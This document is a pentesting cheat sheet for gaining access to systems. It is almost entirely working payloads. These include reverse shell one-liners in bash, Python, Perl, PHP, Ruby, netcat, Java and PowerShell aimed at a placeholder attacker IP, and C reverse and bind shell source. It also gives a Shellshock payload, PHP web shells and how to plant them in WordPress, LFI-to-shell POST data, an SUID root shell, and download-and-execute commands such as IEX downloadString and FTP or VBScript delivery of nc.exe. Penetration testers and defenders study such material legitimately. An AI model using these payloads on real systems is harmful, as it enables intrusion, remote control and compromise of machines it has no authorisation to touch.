Gaining access

Shell it?

Shells

Reverse shells

Bash

Bash and TCP sockets

bash -i >& /dev/tcp/x.x.x.x/6969 0>&1
/bin/bash -i > /dev/tcp/x.x.x.x/6969 0<&1 2>&1

sh and TCP sockets

/bin/sh -i > /dev/tcp/x.x.x.x/6969 0<&1 2>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="x.x.x.x";$p=6969;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:6969");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

php -r '$sock=fsockopen("x.x.x.x",6969);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",6969).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh x.x.x.x 6969
nc -e cmd.exe x.x.x.x 6969
/bin/sh | nc x.x.x.x 6969
rm -f /tmp/p; mknod /tmp/p p && nc x.x.x.x 6969 0/tmp/p

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 6969 0/tmp/p
telnet x.x.x.x 80 | /bin/bash | telnet x.x.x.x 443

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/6969;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Shellshock reverse shell

Verify vuln within http user-agent header:

() { :; }; /bin/bash -c 'whoami'

Spawn reverse shell:

() { :; }; /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/6969 0>&1;'

PowerShell

Invoke-PowerShellTcp

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1raw.githubusercontent.com

Add to bottom:

Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 6969

Then fire up webserver at Kali, setup nc listener at port 6969 and download at target:

# from cmd
C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')

# PowerShell
PS C:\>IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')

C

// gcc reverse.c -o reverse

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
  int scktd;
  struct sockaddr_in client;

  client.sin_family = AF_INET;
  client.sin_addr.s_addr = inet_addr("x.x.x.x"); // attacker IP
  client.sin_port = htons(6969); // attacker port

  scktd = socket(AF_INET,SOCK_STREAM,0);
  connect(scktd,(struct sockaddr *)&client,sizeof(client));

  dup2(scktd,0); // STDIN
  dup2(scktd,1); // STDOUT
  dup2(scktd,2); // STDERR

  execl("/bin/sh","sh","-i",NULL,NULL);

  return 0;
}

Bind shells

C

// gcc bind.c -o bind

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
  int scktd = -1;
  int scktd_client = -1;
  int i = -1;
  struct sockaddr_in server;
  struct sockaddr_in client;
  
  scktd = socket(AF_INET,SOCK_STREAM,0);
  if (scktd == -1)
    return -1;

  server.sin_family = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(6969); // local listening port

  if(bind(scktd,(struct sockaddr *)&server,sizeof(server)) < 0)
    return -2;

  listen(scktd,3);
  i = sizeof(struct sockaddr_in);
  scktd_client = accept(scktd,(struct sockaddr *)&client,(socklen_t*)&i);
  if (scktd_client < 0)
    return -3;

  dup2(scktd_client,0); // STDIN
  dup2(scktd_client,1); // STDOUT
  dup2(scktd_client,2); // STDERR
 
  execl("/bin/sh","sh","-i",NULL,NULL);

  return 0;
}

Web shells

PHP

Add to WordPress Theme 404 page and then http://x.x.x.x/404.php?cmd=id

Or spawn reverse shell http://x.x.x.x/404.php?cmd=nc x.x.x.x 6969 -e /bin/sh

<?php echo shell_exec($_GET['cmd']); ?>
<? passthru($_GET["cmd"]); ?>
<?php echo shell_exec($_GET["cmd"]); ?>

phpMyAdmin

<?php system("/usr/local/bin/wget http://x.x.x.x:6969/php-reverse-shell.php -O /var/tmp/hodor.php 2>&1"); ?>

Run SQL query

SELECT "" into outfile "C:\\xampp\\htdocs\\shell.php"

From LFI to reverse shell

First verify LFI. Example with nullbyte:

http://x.x.x.x/blah?parameter=/etc/passwd%00

Using Hackbar (Firefox extension).

POST request URL:

http://x.x.x.x/blah?parameter=php://input%00

POST data:

<? phpinfo(); ?>

POST data for reverse shell at port 443:

<?php echo shell_exec("bash -i >& /dev/tcp/x.x.x.x/443 0>&1 2>&1"); ?>

HTTP methods

Try if you can upload a shell via an upload form.

HTTP POST

Where "x.x.x.x" is the target IP

curl -X POST -F "file=@/location/shell.php" http://x.x.x.x/upload.php --cookie "cookie"

HTTP PUT

Where "x.x.x.x" is the attacker's IP

curl -X PUT -d '<?php system($_GET["c"]);?>' http://x.x.x.x/shell.php

Inject PHP -> JPEG

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' hodor.jpeg
exiftool "-comment<=shell.php" hodor.png

Local

C for SUID

Spawns a Linux shell:

int main(void){
     setresuid(0, 0, 0);
     system("/bin/bash");
 }

File transfers

First fire up our fileserver:

Python webserver (default port 8000)

python -m SimpleHTTPServer

Python webserver at port 8001

python -m SimpleHTTPServer 8001

Python webserver with upload form

wget https://gist.githubusercontent.com/UniIsland/3346170/raw/059aca1d510c615df3d9fedafabac4d538ebe352/SimpleHTTPServerWithUpload.py ; chmod +x SimpleHTTPServerWithUpload.py; ./SimpleHTTPServerWithUpload.py

Windows

PowerShell

Any version

(New-Object System.Net.WebClient).DownloadFile("http://x.x.x.x:6969/file", "C:\Users\hodor\file")
PS C:\>IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-MS16032.ps1')

Download via RCE

C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x:8000/Invoke-PowerShellTcp.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x:8000/Invoke-PowerShellTcp.ps1

FTP

Option 1

Configure FTP at Kali:

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd hodor -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Start FTP server at Kali:

# FTP home dir = /ftphome/
/etc/init.d/pure-ftpd start

Download nc.exe at target:

echo open x.x.x.x 21> test.txt
echo USER hodor>> test.txt
echo hodor>> test.txt
echo bin >> test.txt
echo GET nc.exe >> test.txt
echo bye >> test.txt
ftp -v -n -s:test.txt

Option 2

Configure FTP at Kali:

apt-get install python-pyftpdlib

Start FTP server at Kali:

python -m pyftpdlib -p 21

Download files (in this example at a Windows target):

ftp x.x.x.x
get nc.exe

Launch reverse shell

nc.exe -nv x.x.x.x 6969 -e cmd.exe 
C:\Inetpub\wwwroot\nc.exe -e cmd.exe x.x.x.x 6969

Share local folder with RDP

rdesktop x.x.x.x -r disk:share=/home/user/foldertoshare

VBScript

Below a VBScript / Linux wget alternative

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Then execute the above script:

cscript wget.vbs http://x.x.x.x/file.exe file.exe

Linux

Wget

wget http://x.x.x.x/blah.txt
wget http://x.x.x.x/blah.txt -O blah.txt

Netcat

From attacher -> target

At target

nc -lvp 6969 > blah.txt

At attacker (method 1)

nc x.x.x.x 6969 < blah.txt

At attacker (method 2)

cat blah.txt | nc x.x.x.x 6969

Python

python -c "import urllib; print urllib.urlopen('http://x.x.x.x:8000/ms11-080.py').read()" > ms11-080.py
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